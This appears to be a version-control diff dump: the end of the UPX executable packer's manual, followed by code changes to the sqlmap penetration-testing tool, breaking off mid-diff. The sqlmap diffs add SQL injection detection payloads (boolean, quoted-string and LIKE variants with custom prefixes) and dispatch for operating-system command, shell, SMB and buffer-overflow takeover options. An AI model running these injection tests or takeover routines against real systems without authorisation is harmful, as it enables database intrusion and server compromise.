- For the same reason compressed executables should run under
FreeBSD and other systems which can run Linux binaries.
[ Please send feedback on this topic ]</pre>
<p>General drawbacks:</p>
<pre>
- It is not advisable to compress programs which usually have many
instances running (like `sh' or `make') because the common segments of
compressed programs won't be shared any longer between different
processes.</pre>
<pre>
- `ldd' and `size' won't show anything useful because all they
see is the statically linked stub. Since version 0.82 the section
headers are stripped from the UPX stub and `size' doesn't even
recognize the file format. The file patches/patch-elfcode.h has a
patch to fix this bug in `size' and other programs which use GNU BFD.</pre>
<p>General notes:</p>
<pre>
- As UPX leaves your original program untouched it is advantageous
to strip it before compression.</pre>
<pre>
- If you compress a script you will lose platform independence -
this could be a problem if you are using NFS mounted disks.</pre>
<pre>
- Compression of suid, guid and sticky-bit programs is rejected
because of possible security implications.</pre>
<pre>
- For the same reason there is no sense in making any compressed
program suid.</pre>
<pre>
- Obviously UPX won't work with executables that want to read data
from themselves. E.g., this might be a problem for Perl scripts
which access their __DATA__ lines.</pre>
<pre>
- In case of internal errors the stub will abort with exitcode 127.
Typical reasons for this to happen are that the program has somehow
been modified after compression.
Running `strace -o strace.log compressed_file' will tell you more.</pre>
<p>
</p>
<h2><a name="notes_for_linux_elf386">NOTES FOR LINUX/ELF386</a></h2>
<p>Please read the general Linux description first.</p>
<p>The linux/elf386 format decompresses directly into RAM,
uses only one exec, does not use space in /tmp,
and does not use /proc.</p>
<p>Linux/elf386 is automatically selected for Linux ELF executables.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>How it works:</p>
<pre>
For ELF executables, UPX decompresses directly to memory, simulating
the mapping that the operating system kernel uses during exec(),
including the PT_INTERP program interpreter (if any).
The brk() is set by a special PT_LOAD segment in the compressed
executable itself. UPX then wipes the stack clean except for
arguments, environment variables, and Elf_auxv entries (this is
required by bugs in the startup code of /lib/ld-linux.so as of
May 2000), and transfers control to the program interpreter or
the e_entry address of the original executable.</pre>
<pre>
The UPX stub is about 1700 bytes long, partly written in assembler
and only uses kernel syscalls. It is not linked against any libc.</pre>
<p>Specific drawbacks:</p>
<pre>
- For linux/elf386 and linux/sh386 formats, you will be relying on
RAM and swap space to hold all of the decompressed program during
the lifetime of the process. If you already use most of your swap
space, then you may run out. A system that is &quot;out of memory&quot;
can become fragile. Many programs do not react gracefully when
malloc() returns 0. With newer Linux kernels, the kernel
may decide to kill some processes to regain memory, and you
may not like the kernel's choice of which to kill. Running
/usr/bin/top is one way to check on the usage of swap space.</pre>
<p>Extra options available for this executable format:</p>
<pre>
(none)</pre>
<p>
</p>
<h2><a name="notes_for_linux_sh386">NOTES FOR LINUX/SH386</a></h2>
<p>Please read the general Linux description first.</p>
<p>Shell scripts where the underling shell accepts a ``-c'' argument
can use the Linux/sh386 format. <strong>UPX</strong> decompresses the shell script
into low memory, then maps the shell and passes the entire text of the
script as an argument with a leading ``-c''.
It does not use space in /tmp, and does not use /proc.</p>
<p>Linux/sh386 is automatically selected for shell scripts that
use a known shell.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>How it works:</p>
<pre>
For shell script executables (files beginning with &quot;#!/&quot; or &quot;#! /&quot;)
where the shell is known to accept &quot;-c &lt;command&gt;&quot;, UPX decompresses
the file into low memory, then maps the shell (and its PT_INTERP),
and passes control to the shell with the entire decompressed file
as the argument after &quot;-c&quot;. Known shells are sh, ash, bash, bsh, csh,
ksh, tcsh, pdksh. Restriction: UPX cannot use this method
for shell scripts which use the one optional string argument after
the shell name in the script (example: &quot;#! /bin/sh option3\n&quot;.)</pre>
<pre>
The UPX stub is about 1700 bytes long, partly written in assembler
and only uses kernel syscalls. It is not linked against any libc.</pre>
<p>Specific drawbacks:</p>
<pre>
- For linux/elf386 and linux/sh386 formats, you will be relying on
RAM and swap space to hold all of the decompressed program during
the lifetime of the process. If you already use most of your swap
space, then you may run out. A system that is &quot;out of memory&quot;
can become fragile. Many programs do not react gracefully when
malloc() returns 0. With newer Linux kernels, the kernel
may decide to kill some processes to regain memory, and you
may not like the kernel's choice of which to kill. Running
/usr/bin/top is one way to check on the usage of swap space.</pre>
<p>Extra options available for this executable format:</p>
<pre>
(none)</pre>
<p>
</p>
<h2><a name="notes_for_linux_386">NOTES FOR LINUX/386</a></h2>
<p>Please read the general Linux description first.</p>
<p>The generic linux/386 format decompresses to /tmp and needs
/proc file system support. It starts the decompressed program
via the <code>execve()</code> syscall.</p>
<p>Linux/386 is only selected if the specialized linux/elf386
and linux/sh386 won't recognize a file.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>How it works:</p>
<pre>
For files which are not ELF and not a script for a known &quot;-c&quot; shell,
UPX uses kernel execve(), which first requires decompressing to a
temporary file in the file system. Interestingly -
because of the good memory management of the Linux kernel - this
often does not introduce a noticeable delay, and in fact there
will be no disk access at all if you have enough free memory as
the entire process takes places within the file system buffers.</pre>
<pre>
A compressed executable consists of the UPX stub and an overlay
which contains the original program in a compressed form.</pre>
<pre>
The UPX stub is a statically linked ELF executable and does
the following at program startup:</pre>
<pre>
1) decompress the overlay to a temporary location in /tmp
2) open the temporary file for reading
3) try to delete the temporary file and start (execve)
the uncompressed program in /tmp using /proc/&lt;pid&gt;/fd/X as
attained by step 2)
4) if that fails, fork off a subprocess to clean up and
start the program in /tmp in the meantime</pre>
<pre>
The UPX stub is about 1700 bytes long, partly written in assembler
and only uses kernel syscalls. It is not linked against any libc.</pre>
<p>Specific drawbacks:</p>
<pre>
- You need additional free disk space for the uncompressed program
in your /tmp directory. This program is deleted immediately after
decompression, but you still need it for the full execution time
of the program.</pre>
<pre>
- You must have /proc file system support as the stub wants to open
/proc/&lt;pid&gt;/exe and needs /proc/&lt;pid&gt;/fd/X. This also means that you
cannot compress programs that are used during the boot sequence
before /proc is mounted.</pre>
<pre>
- Utilities like `top' will display numerical values in the process
name field. This is because Linux computes the process name from
the first argument of the last execve syscall (which is typically
something like /proc/&lt;pid&gt;/fd/3).</pre>
<pre>
- Because of temporary decompression to disk the decompression speed
is not as fast as with the other executable formats. Still, I can see
no noticeable delay when starting programs like my ~3 MiB emacs (which
is less than 1 MiB when compressed :-).</pre>
<p>Extra options available for this executable format:</p>
<pre>
--force-execve Force the use of the generic linux/386 &quot;execve&quot;
format, i.e. do not try the linux/elf386 and
linux/sh386 formats.</pre>
<p>
</p>
<h2><a name="notes_for_ps1_exe">NOTES FOR PS1/EXE</a></h2>
<p>This is the executable format used by the Sony PlayStation (PSone),
a Mips R3000 based gaming console which is popular since the late '90s.
Support of this format is very similar to the Atari one, because of
nostalgic feelings of one of the authors.</p>
<p>Packed programs will be byte-identical to the original after uncompression,
until further notice.</p>
<p>Maximum uncompressed size: ~1.89 / ~7.60 MiB.</p>
<p>Notes:</p>
<pre>
- UPX creates as default a suitable executable for CD-Mastering
and console transfer. For a CD-Master main executable you could also try
the special option &quot;--boot-only&quot; as described below.
It has been reported that upx packed executables are fully compatible with
the Sony PlayStation 2 (PS2, PStwo) and Sony PlayStation Portable (PSP) in
Sony PlayStation (PSone) emulation mode.</pre>
<pre>
- Normally the packed files use the same memory areas like the uncompressed
versions, so they will not override other memory areas while unpacking.
If this isn't possible UPX will abort showing a 'packed data overlap'
error. With the &quot;--force&quot; option UPX will relocate the loading address
for the packed file, but this isn't a real problem if it is a single or
the main executable.</pre>
<p>Extra options available for this executable format:</p>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--8-bit Uses 8 bit size compression [default: 32 bit]</pre>
<pre>
--8mib-ram PSone has 8 MiB ram available [default: 2 MiB]</pre>
<pre>
--boot-only This format is for main exes and CD-Mastering only !
It may slightly improve the compression ratio,
decompression routines are faster than default ones.
But it cannot be used for console transfer !</pre>
<pre>
--no-align This option disables CD mode 2 data sector format
alignment. May slightly improves the compression ratio,
but the compressed executable will not boot from a CD.
Use it for console transfer only !</pre>
<p>
</p>
<h2><a name="notes_for_rtm32_pe_and_arm_pe">NOTES FOR RTM32/PE and ARM/PE</a></h2>
<p>Same as win32/pe.</p>
<p>
</p>
<h2><a name="notes_for_tmt_adam">NOTES FOR TMT/ADAM</a></h2>
<p>This format is used by the TMT Pascal compiler - see <a href="http://www.tmt.com/">http://www.tmt.com/</a> .</p>
<p>Extra options available for this executable format:</p>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_vmlinuz_386">NOTES FOR VMLINUZ/386</a></h2>
<p>The vmlinuz/386 and bvmlinuz/386 formats take a gzip-compressed
bootable Linux kernel image (``vmlinuz'', ``zImage'', ``bzImage''),
gzip-decompress it and re-compress it with the <strong>UPX</strong> compression method.</p>
<p>vmlinuz/386 is completely unrelated to the other Linux executable
formats, and it does not share any of their drawbacks.</p>
<p>Notes:</p>
<pre>
- Be sure that &quot;vmlinuz/386&quot; or &quot;bvmlinuz/386&quot; is displayed
during compression - otherwise a wrong executable format
may have been used, and the kernel won't boot.</pre>
<p>Benefits:</p>
<pre>
- Better compression (but note that the kernel was already compressed,
so the improvement is not as large as with other formats).
Still, the bytes saved may be essential for special needs like
boot disks.</pre>
<pre>
For example, this is what I get for my 2.2.16 kernel:
1589708 vmlinux
641073 bzImage [original]
560755 bzImage.upx [compressed by &quot;upx -9&quot;]</pre>
<pre>
- Much faster decompression at kernel boot time (but kernel
decompression speed is not really an issue these days).</pre>
<p>Drawbacks:</p>
<pre>
(none)</pre>
<p>Extra options available for this executable format:</p>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_watcom_le">NOTES FOR WATCOM/LE</a></h2>
<p><strong>UPX</strong> has been successfully tested with the following extenders:
DOS4G, DOS4GW, PMODE/W, DOS32a, CauseWay.
The WDOS/X extender is partly supported (for details
see the file bugs BUGS).</p>
<p>DLLs and the LX format are not supported.</p>
<p>Extra options available for this executable format:</p>
<pre>
--le Produce an unbound LE output instead of
keeping the current stub.</pre>
<p>
</p>
<h2><a name="notes_for_win32_pe">NOTES FOR WIN32/PE</a></h2>
<p>The PE support in <strong>UPX</strong> is quite stable now, but probably there are
still some incompatibilities with some files.</p>
<p>Because of the way <strong>UPX</strong> (and other packers for this format) works, you
can see increased memory usage of your compressed files because the whole
program is loaded into memory at startup.
If you start several instances of huge compressed programs you're
wasting memory because the common segments of the program won't
get shared across the instances.
On the other hand if you're compressing only smaller programs, or
running only one instance of larger programs, then this penalty is
smaller, but it's still there.</p>
<p>If you're running executables from network, then compressed programs
will load faster, and require less bandwidth during execution.</p>
<p>DLLs are supported. But UPX compressed DLLs can not share common data and
code when they got used by multiple applications. So compressing msvcrt.dll
is a waste of memory, but compressing the dll plugins of a particular
application may be a better idea.</p>
<p>Screensavers are supported, with the restriction that the filename
must end with ``.scr'' (as screensavers are handled slightly different
than normal exe files).</p>
<p>UPX compressed PE files have some minor memory overhead (usually in the
10 - 30 KiB range) which can be seen by specifying the ``-i'' command
line switch during compression.</p>
<p>Extra options available for this executable format:</p>
<pre>
--compress-exports=0 Don't compress the export section.
Use this if you plan to run the compressed
program under Wine.
--compress-exports=1 Compress the export section. [DEFAULT]
Compression of the export section can improve the
compression ratio quite a bit but may not work
with all programs (like winword.exe).
UPX never compresses the export section of a DLL
regardless of this option.</pre>
<pre>
--compress-icons=0 Don't compress any icons.
--compress-icons=1 Compress all but the first icon.
--compress-icons=2 Compress all icons which are not in the
first icon directory. [DEFAULT]
--compress-icons=3 Compress all icons.</pre>
<pre>
--compress-resources=0 Don't compress any resources at all.</pre>
<pre>
--keep-resource=list Don't compress resources specified by the list.
The members of the list are separated by commas.
A list member has the following format: I&lt;type[/name]&gt;.
I&lt;Type&gt; is the type of the resource. Standard types
must be specified as decimal numbers, user types can be
specified by decimal IDs or strings. I&lt;Name&gt; is the
identifier of the resource. It can be a decimal number
or a string. For example:</pre>
<pre>
--keep-resource=2/MYBITMAP,5,6/12345</pre>
<pre>
UPX won't compress the named bitmap resource &quot;MYBITMAP&quot;,
it leaves every dialog (5) resource uncompressed, and
it won't touch the string table resource with identifier
12345.</pre>
<pre>
--force Force compression even when there is an
unexpected value in a header field.
Use with care.</pre>
<pre>
--strip-relocs=0 Don't strip relocation records.
--strip-relocs=1 Strip relocation records. [DEFAULT]
This option only works on executables with base
address greater or equal to 0x400000. Usually the
compressed files becomes smaller, but some files
may become larger. Note that the resulting file will
not work under Windows 3.x (Win32s).
UPX never strips relocations from a DLL
regardless of this option.</pre>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<hr />
<h1><a name="diagnostics">DIAGNOSTICS</a></h1>
<p>Exit status is normally 0; if an error occurs, exit status
is 1. If a warning occurs, exit status is 2.</p>
<p><strong>UPX</strong>'s diagnostics are intended to be self-explanatory.</p>
<p>
</p>
<hr />
<h1><a name="bugs">BUGS</a></h1>
<p>Please report all bugs immediately to the authors.</p>
<p>
</p>
<hr />
<h1><a name="authors">AUTHORS</a></h1>
<pre>
Markus F.X.J. Oberhumer &lt;markus@oberhumer.com&gt;
<a href="http://www.oberhumer.com">http://www.oberhumer.com</a></pre>
<pre>
Laszlo Molnar &lt;ml1050@users.sourceforge.net&gt;</pre>
<pre>
John F. Reiser &lt;jreiser@BitWagon.com&gt;</pre>
<pre>
Jens Medoch &lt;jssg@users.sourceforge.net&gt;</pre>
<p>
</p>
<hr />
<h1><a name="copyright">COPYRIGHT</a></h1>
<p>Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer</p>
<p>Copyright (C) 1996-2008 Laszlo Molnar</p>
<p>Copyright (C) 2000-2008 John F. Reiser</p>
<p>Copyright (C) 2002-2008 Jens Medoch</p>
<p>This program may be used freely, and you are welcome to
redistribute it under certain conditions.</p>
<p>This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
<strong>UPX License Agreement</strong> for more details.</p>
<p>You should have received a copy of the UPX License Agreement along
with this program; see the file LICENSE. If not, visit the UPX home page.</p>
</body>
</html>

BIN
lib/contrib/upx/linux/upx Executable file

Binary file not shown.

BIN
lib/contrib/upx/macosx/upx Executable file

Binary file not shown.

BIN
lib/contrib/upx/windows/upx.exe Executable file

Binary file not shown.

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -31,7 +31,9 @@ from lib.core.data import kb
from lib.core.dump import dumper from lib.core.dump import dumper
from lib.core.exception import sqlmapUnsupportedDBMSException from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
from lib.techniques.blind.timebased import timeTest
from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest
def action(): def action():
@@ -66,10 +68,16 @@ def action():
raise sqlmapUnsupportedDBMSException, errMsg raise sqlmapUnsupportedDBMSException, errMsg
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint() print "%s\n" % conf.dbmsHandler.getFingerprint()
# Miscellaneous options # Techniques options
if conf.unionTest: if conf.stackedTest:
dumper.string("stacked queries support", stackedTest())
if conf.timeTest:
dumper.string("time based blind sql injection payload", timeTest())
if ( conf.unionUse or conf.unionTest ) and not kb.unionPosition:
dumper.string("valid union", unionTest()) dumper.string("valid union", unionTest())
# Enumeration options # Enumeration options
@@ -82,6 +90,9 @@ def action():
if conf.getCurrentDb: if conf.getCurrentDb:
dumper.string("current database", conf.dbmsHandler.getCurrentDb()) dumper.string("current database", conf.dbmsHandler.getCurrentDb())
if conf.isDba:
dumper.string("current user is DBA", conf.dbmsHandler.isDba())
if conf.getUsers: if conf.getUsers:
dumper.lister("database management system users", conf.dbmsHandler.getUsers()) dumper.lister("database management system users", conf.dbmsHandler.getUsers())
@@ -116,11 +127,27 @@ def action():
# File system options # File system options
if conf.rFile: if conf.rFile:
dumper.string(conf.rFile, conf.dbmsHandler.readFile(conf.rFile)) dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)
if conf.wFile: if conf.wFile:
dumper.string(conf.wFile, conf.dbmsHandler.writeFile(conf.wFile)) conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
# Operating system options
if conf.osCmd:
conf.dbmsHandler.osCmd()
# Takeover options
if conf.osShell: if conf.osShell:
conf.dbmsHandler.osShell() conf.dbmsHandler.osShell()
if conf.osPwn:
conf.dbmsHandler.osPwn()
if conf.osSmb:
conf.dbmsHandler.osSmb()
if conf.osBof:
conf.dbmsHandler.osBof()
# Miscellaneous options
if conf.cleanup:
conf.dbmsHandler.cleanup()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -24,17 +24,19 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
import time import time
from lib.controller.action import action
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.convert import md5hash
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException from lib.core.exception import sqlmapConnectionException
from lib.core.session import setString from lib.core.session import setString
from lib.core.session import setRegexp
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
@@ -49,163 +51,199 @@ def checkSqlInjection(place, parameter, value, parenthesis):
* Double quoted string injection * Double quoted string injection
""" """
logMsg = "testing unescaped numeric injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
randInt = randomInt() randInt = randomInt()
randStr = randomStr() randStr = randomStr()
if conf.prefix or conf.postfix:
prefix = ""
postfix = ""
if conf.prefix:
prefix = conf.prefix
if conf.postfix:
postfix = conf.postfix
infoMsg = "testing custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
trueResult = Request.queryPage(payload, place)
if trueResult == True:
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "confirming custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "custom injectable "
logger.info(infoMsg)
return "custom"
infoMsg = "testing unescaped numeric injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt)) payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult == True:
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1)) payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
logMsg = "confirming unescaped numeric injection " infoMsg = "confirming unescaped numeric injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
logMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "unescaped numeric injectable " infoMsg += "unescaped numeric injectable "
logMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg) logger.info(infoMsg)
return "numeric" return "numeric"
logMsg = "%s parameter '%s' is not " % (place, parameter) infoMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "unescaped numeric injectable" infoMsg += "unescaped numeric injectable"
logger.info(logMsg) logger.info(infoMsg)
logMsg = "testing single quoted string injection " infoMsg = "testing single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult == True:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
logMsg = "confirming single quoted string injection " infoMsg = "confirming single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
logMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "single quoted string injectable " infoMsg += "single quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg) logger.info(infoMsg)
return "stringsingle" return "stringsingle"
logMsg = "%s parameter '%s' is not " % (place, parameter) infoMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "single quoted string injectable" infoMsg += "single quoted string injectable"
logger.info(logMsg) logger.info(infoMsg)
logMsg = "testing LIKE single quoted string injection " infoMsg = "testing LIKE single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult == True:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
logMsg = "confirming LIKE single quoted string injection " infoMsg = "confirming LIKE single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
logMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "LIKE single quoted string injectable " infoMsg += "LIKE single quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg) logger.info(infoMsg)
return "likesingle" return "likesingle"
logMsg = "%s parameter '%s' is not " % (place, parameter) infoMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "LIKE single quoted string injectable" infoMsg += "LIKE single quoted string injectable"
logger.info(logMsg) logger.info(infoMsg)
logMsg = "testing double quoted string injection " infoMsg = "testing double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult == True:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
logMsg = "confirming double quoted string injection " infoMsg = "confirming double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
logMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "double quoted string injectable " infoMsg += "double quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg) logger.info(infoMsg)
return "stringdouble" return "stringdouble"
logMsg = "%s parameter '%s' is not " % (place, parameter) infoMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "double quoted string injectable" infoMsg += "double quoted string injectable"
logger.info(logMsg) logger.info(infoMsg)
logMsg = "testing LIKE double quoted string injection " infoMsg = "testing LIKE double quoted string injection "
